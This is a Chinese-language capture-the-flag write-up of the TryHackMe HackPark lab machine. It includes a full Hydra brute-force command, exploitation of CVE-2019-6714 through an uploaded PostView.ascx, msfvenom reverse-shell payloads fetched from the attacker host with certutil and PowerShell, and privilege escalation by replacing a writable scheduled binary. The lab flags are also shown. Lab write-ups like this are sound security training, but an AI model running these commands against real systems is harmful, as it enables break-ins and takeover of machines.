打靶记录(二)之THMhackpark
端口扫描
sudo nmap –min-rate 10000 -p- 10.10.116.243 -Pn
扫描全部端口,设置最小速度为10000
sudo nmap -sT -sV -O -p80,3389 10.10.116.243 -Pn
对指定的端口用TCP协议扫描,扫描版本号和操作系统
Web
登录网站
要求得到小丑的名字,直接百度识图,是一部电影,主角叫Pennywise
爆破密码
根据THM提示,在登录界面用Hydra爆破密码,账户名猜测为admin
在这之前用bp抓个包,随便输入1 1
将__VIEWSTATE到”Login+in”作为表单数据,Login failed为报错信息(在输入错误的用户名密码搭配时的提示错误信息)
表单路径为/Account/login.aspx
于是最终命令为(字典随便选了一个):
sudo hydra -l admin -P /usr/share/wordlists/SecLists-master/Passwords/darkweb2017-top1000.txt 10.10.116.243 http-post-form "/Account/login.aspx:__VIEWSTATE=K4CgAa1Th%2BhdGZLfwD7NIA1BHmf%2FIYs6BcBW5UtEuAtVa9zA%2B7DI6GWhvZ38QWH1qBUGKo%2FdIUm%2Fb9FbG6Ujrl1XK4JR%2Btk6eOOaonNpMXWsAZj8Srz8J%2Bc1Rnd%2BVhfE6Hh26Hj4tMT85WfApMZgbkhORPFXtuna7N88cchM1sngeRBchVphciiMXhUHmSx6GsGmwCMjtlSePOI9x9wm7MHpyxv5oQdto5lEtsfGuusOwZLNT9LWG2k%2FY5Q7uJ%2BzawK1IHkEAR9pF23znCgaOJM3JLtplryPLoW%2Fo7cfHnvYicjLehfmf%2B5rRR1P7hqrQbFNDu%2BV2DW%2B6GzLW945cN26vXY8%2BbNDaVNM737vlNAQB9zB&__EVENTVALIDATION=e3oUmKaleqpbGBXNwomw4F5hkjW%2FCoWW6cC0Fr%2Fda4qIg%2F2JazIQhqllZmlYuhwv%2B%2FoXtFHOuc59mkh3sG7pPJzEHM%2BpxhgTpjvj3H8fRFXl9lSFIWwRle%2BkDMdhxUtI1WX8XPX%2Bl9vm2%2BBc9x6r2Ff1dahEW5exy94%2BY1lDMJC4U7vh&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed" -V |
得到密码为1qaz2wsx
成功进入网站后台!
RCE
博客版本可以在about界面得到
在 https://www.exploit-db.com/ 搜索得到CVE并且对应版本 CVE-2019-6714,进入下载得到脚本
翻译脚本上方的英文得知用法
先将脚本重命名为PostView.ascx才能被执行(这里之前忽略了md卡了好久
将51行IP改成自己的攻击机
在攻击机中开启监听
sudo nc -lvnp 4445
访问/admin/app/editor/editpost.cshtml
在上传界面上传下载的脚本(吐槽一句,不知道为什么打THM时访问web网页加载特别慢…)上传完就行了,不用点保存什么的
然后访问:/?theme=../../App_Data/files来触发脚本
成功得到shell
输入whoami得到现在的用户名
iis apppool\blog
转移shell
将shell转移至msf来获得更好的shell
先开启监听(差点又没设置payload,又浪费了好多时间,被thm网页加载速度折磨,悲)
set PAYLOAD windows/meterpreter/reverse_tcp |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.52.15 LPORT=1235 -e x86/shikata_ga_nai -f exe -o reverse.exe
来生成一个windows的反向shell
python3 -m http.server 开启Python服务器
试着用
Certutil -urlcache -f http://10.11.38.245:8000/reverse.exe reverse.exe |
或
powershell -c wget "http://10.9.202.151:8000/reverse.exe" -outfile "reverse.exe" |
将shell下载,发现没有权限,于是切换到临时目录
可以cd c:\Windows\Temp 再进行下载
发现shell成功下载
输入reverse.exe运行
发现成功转移shell
提权
sysinfo指令可以获取当前版本号为Windows 2012 R2 (6.3 Build 9600)
ps查看当前启动的进程
试了几个都没试出来(),看了下WP,用的winpeas https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASbat
upload winPEAS.bat 来上传脚本,之前不太理解为什么拿到shell只要还要转移到msf,现在才知道msf的强大
然后在meterpreter运行”shell”来建立一个新的回话shell,不然好像运行不了脚本
建立之后输入winPEAS.bat来运行,嘶,找了半天没找到WP所说的东西,后来问了下群里的师傅说winPEAS各不相同,差异还挺大的。那路或多
不知道为什么是c:\Program Files (x86)\WindowsScheduler
先跳过,cd至c:\Program Files (x86)\SystemScheduler\Events>目录
根据thm提示,查看日志文件发现Message.exe每30秒运行一次:这似乎是是个利用点
所以可以利用的二进制文件就是Message.exe
切换到meterpreter,这里发现当目录中有空格时还要引号引起来,不然会提示目录不存在
查看Message.exe的权限
100777/rwxrwxrwx 536992 fil 2018-03-26 01:58:56 +0800 Message.exe
发现对所有用户都有读写执行的权限,所以试着把替换成想要的执行文件就行
故再次使用生成shell,这次使用1236端口,三次的端口不一样防止冲突
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.38.245 LPORT=1236 -e x86/shikata_ga_nai -f exe -o Message.exe |
然后我们再另外个窗口再开启个msf实例并像之前一样开启个监听器
然后切换至之前的meterpreter回话,upload Message.exe来上传覆盖先前的Message.exe,过一会儿后发现之后建立的监听器成功监听
好像还没有whoami命令,用getuid,发现成功提权,是管理员用户
转移至/Users/jeff/Desktop 愉快cat user.txt
759bd8af507517bcfaede78a21a73e39
然后cd 至/Users/Administractor/Desktop cat root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72
最后在shell里运行systeminfo或者在meterpreter运行sysinfo获取系统信息,得到原始安装时间
8/3/2019, 10:43:23 AM
好像在winpeas里也能看,但目前对这个脚本不太熟,以后慢慢学()
碎碎念
这个靶机真的是目前打过来最耗时间也最折磨的一个,一是thm的网页加载实在是太慢,连shell就连了好久还卡出去好几次(恼
然后就是windows提权还是不太熟练,对我windows的shell,操作系统什么的相对于linux来说都不太熟悉。